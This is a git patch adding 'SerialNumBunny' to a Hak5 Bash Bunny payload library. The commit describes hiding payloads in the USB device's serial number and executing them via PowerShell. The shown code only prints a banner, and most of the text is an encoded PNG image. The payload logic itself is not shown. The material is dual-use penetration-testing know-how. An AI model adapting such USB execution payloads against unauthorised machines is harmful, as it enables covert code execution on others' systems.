From 3f21e4d7faa04adbf5e8f23961d5610e519567b6 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 25 Aug 2023 13:47:33 +0200 Subject: [PATCH 1/3] Created SerialNumBunny Provide payloads in the bunny serial number and execute them via PowerShell. --- .../library/execution/SerialNumBunny/1.PS1 | 15 ++++++ .../SerialNumBunny/SerialNumBunny.png | Bin 0 -> 31303 bytes .../execution/SerialNumBunny/payload.txt | 46 ++++++++++++++++++ .../execution/SerialNumBunny/readme.md | 18 +++++++ 4 files changed, 79 insertions(+) create mode 100644 payloads/library/execution/SerialNumBunny/1.PS1 create mode 100644 payloads/library/execution/SerialNumBunny/SerialNumBunny.png create mode 100644 payloads/library/execution/SerialNumBunny/payload.txt create mode 100644 payloads/library/execution/SerialNumBunny/readme.md diff --git a/payloads/library/execution/SerialNumBunny/1.PS1 b/payloads/library/execution/SerialNumBunny/1.PS1 new file mode 100644 index 000000000..0ed38dc7e --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/1.PS1 @@ -0,0 +1,15 @@ +#This is just an example script, you may want to replace it with a script of your choice +$Picture=@" + + _____ _____ _____ _____ _____ _____ _____ _____ __ __ + (\___/) | __ || _ || __|| | | | __ || | || | || | || | | + (='.'=) | __ -|| ||__ || | | __ -|| | || | | || | | ||_ _| + (")_(") |_____||__|__||_____||__|__| |_____||_____||_|___||_|___| |_| + Bash Bunny by Hak5 USB Attack/Automation Platform + +"@ + +Sleep -s 5 +Write-Host -ForegroundColor red "$Picture" +Sleep -s 2 +Write-Host -ForegroundColor green "SerialNumBunny by 0iphor13" \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/SerialNumBunny.png b/payloads/library/execution/SerialNumBunny/SerialNumBunny.png new file mode 100644 index 0000000000000000000000000000000000000000..f03a1d7732565fb2b7db4091dd67bd130785617e GIT binary patch literal 31303 zcmcG#WmH^Uv+vtT0>MKdxI=JvcXxLQ?gS4m0YZYi1b26Lg1bX-r}4(U;WW>a_w0S| z9s9!>of`L=G_5L>8yNobl_(7Mah zK^Z!Geb+k7viFaUp8mw*1(Ze`v!Q2IQp@SB2Do5ZFYmEOH=(arKn_C*<_X{b{X})o64`$~ z?55=<_MiLMzwN1!G^vIC0kI3QKQRD45b_HD_pJUn{XWG5CciLNbR?od|eMv!J7tpEVPJ1SykIP;j1=inZET}=o z<6xq*v$xNvi>I3yIskz>S-AGkAD`~-^78T&6*6x)g)-|Ujr+HwCVbvXsia8ok!2`5 z8@HW|WJ11b$V+gw)ji4O-obm6l|2?XA4d0GkdyaWras-8U+}QzSR~#!cyQ}3=Evin zFtLZdPeJH&V>xFsiC09g)6E&syuxc!i+cClLC-)&Lh#)5_l^!8fiEWvbB9uEk3;8CnH}sN zwl)n~EaK=)zn}m)xj8~;*J@YyQ_6>ozfPdTQ*}`@QHh&{MKp19v8Xjn>05BGcyz8v z#XqI-d;dWKOoe@v28?z`{Kt`6N(mAR2zj}OT-Cy{h?%u}d@PjLo1p`ztB(gYuHL{* zJ5>IsK@bA))2Pqj+LKhHC_1X-O7l%Vus@eWS51u#01y+Tz&$#76R^!#rI${FY@G{a z)Pc<@%=t!OUngW#8?m&_6{Y@nuqbiq;ou*io+>CRW)cxi)E>ek*+s=T;zZ8(`5q}^ zj%_=&m_L41McY%K#F|3dhP_M?BC5MouH z~ zPh~bo?M4j_ak!Ys0A=NdH3e3{Tr(R5ra!KrRkPGwuf&95U0!Gol!P5eiw>??v*r7I z0Zbpl4D^6}XN)fMkx?}|+-r^!<>(q?9|VB^?(ybjE)*;wSPcVS%!L^65wV_(A>B!G zqLEO5s9mbs80;*hPHfkn4wU3~n~^2{cQwftG6GN1E?7BzQpnlH0@V*lJ|Ez0ZH7{k zo_5^S5ZiR;wrf_{9141|aBR*+6q9?P4tkM$fGQ0Q@R~TbA00f~;P|X-^ChHhmDO~& z_tg>Uybp`1N(`|0T(B0Ih2wXB12supKfBbmU%-5y)0Zb2RAEztO%voq1HLuxqTlsutF$s#J>R<W5zbz#dXo243=Q^sz${((-9;qQgGQEV`PBoNO0 zfO)t72Rl>+>mFXCX0U_&fjY(+nxHb~0SWf+@cx>tG&r7d6UT4JZ9}Jzlubqjx9B*r2M#Twdv2U z-*(2>mp}{gBi4n=30Pf+$~R(HQH41ewDXWZOU@^4quw4*g&Wk1m7^)c;H-8w4eD52 zvwrdP@v2lES?sCEBdQavr1Cjc${ubbr+
-4P#?tKPkkCf>Yw- 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 z M`TmP%QuZ)VTY5pXhkN^n@5;RzFcPGI;xHCv#@WCA>z!M0;f(}jymciXMKyY^* zBshZ)&aij#{NJ;?XU~4!vuDrVFL$JGcXd^DbyfYk`|20uKpl2ntd03ijC;wB;w*j& z-st{K3W{C!=Aa$vA1adr6J7zcOw07#=>~63-#_yH4#0xzkIoZzb=3r;`SiXo&fc+R zBq=`JSIo0Cc57;222xL(bSYW>ULq`O!6o2_SW7y0LyAvu{qu9z>jIv8OY~!HyHLv- zGmt*>RDxkP0x25>D1DMq?e==VjFx_c-|S`gWPXf(A;A9*7S=qu?-ARENyKFWXtRMS zg|}$n`@tpMll@Sqj2@E0n;;rqNF&jFUH<=ocwviPo&MSVo4wi<++Xv+r%ot&o-*+50W;i5$B-g;?Xj4s_&bcp1-{flW@pFZE)?>J)IV(rK= ziOiRd@b~Y>*KKBY4iSQu<%^noU5_}(NqVCmdN2s?JCE8XM(<1wD3h&wyygB(*&YAB zbyx?QAH_yV{qDLU0g>?V74IEMR;0FD089{Zk2&M!$YLYDRV;t2p#KT(dQ98g=$nPU z@3;MjtZN!;v3|bi-jj<$N&%n@U69lN%zFPix$31R~&i@1O&x zw9m(%O(^P??A4amj!!xaxk_2rpzOl9ecClug~w;+hZ@mCfOh!PIc_TK59e&ZYlwXQ zUZW!%KbOB zki2PSbOH9L{?{%(%5Gc1A2r9~y&>P%YH~0km{dy@okqETjfL_S*S0yZ9SSlDIk$QY zERA;CKsRQiU=9;}N1Zxdi(hk+?{FIzSTW>+)#h-d-_fI*Z1umwj7mKG~Yx z(vpIKWq8o;jl7g_hNM-{AgWD*y4JB1d&an4#Yw7lIC`isM_O?*hiq#*C;v;qa_i#! z(IDHW@F`<^pPib4Qm=MdtR}F*BOT^fEBuCwGk{dHT8J4?|96OjX<9etl1NgHxUBjK5rVehhlWF6;0pZzG@o{)r*7_X1pJw%$1zy6>F?QxU^t zQ8NqWPTMT@-QIK2p?W4~Gr>>E)BhfpsA)_SJ4JL?cB!i;D z*4b%8N8hSS*Gd0D>(SY~qbnKR)JOCx>(C(2vo%^E(QXX(tvAqi=cwSnvAfp_81Vcy z#lBjC(0>)BEs`}`-( z@h+10z8zH5&-V0KHRoZu>k)4prP1m7W4oAzE#s?+=zdY#ABHf8#qu|RgmX!}=S{#7 zYv!M{`UKs$z>Dt32@m8sj<)N=A}v)VOL79bt^k{iL7_MV)`fbb^Qj~oO`=!x-i`IG z5#GbPWA0ctmt}kwZrulFBe^qns+o!|D7rB;_>{BM^A66--g#A`33vjRdz>#ua 